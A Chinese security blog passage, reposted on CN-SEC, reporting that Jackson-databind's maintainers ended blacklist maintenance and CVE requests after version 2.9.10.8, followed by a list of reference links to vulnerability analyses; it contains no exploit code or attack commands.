2020年12月30号,Jackson-databind官方表明由于之前对于黑名单更新的补丁过于频繁而且有大量的绕过是的版本的更新迭代过于频繁,加上申请CVE的流程使得整个维护变得更加繁琐,所以决定从2020年12月31号发布最后一个2.9.10.8版本之后将不再对此黑名单进行维护(除非有极其严重的问题发生),同时也不再给相关白帽子申请相关CVE编号,但是会继续接受有关Jackson-databind的黑名单类相关安全报告,更多细节可以参考以下连接:

https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria

参考文章:

https://vulhub.org/
https://patrilic.top/2020/03/24/Jackson-databind%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(CVE-2020-8840)/
Jackson-databind的几个CVE
Jackson 反序列化汇总
Jackson反序列化远程代码执行漏洞
Jackson-databind的几个CVE
Jackson JDOM XSLTransformer Gadget浅析
Jackson-databind漏洞两则分析
Jackson-databind SSRF浅析

Jackson-databind 反序列化漏洞分析 (CVE-2020-8840): https://patrilic.top/2020/03/24/Jackson-databind%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(CVE-2020-8840)/#CVE-2020-8840

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:46:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jackson漏洞http://cn-sec.com/archives/722737.html

发表评论

匿名网友 填写信息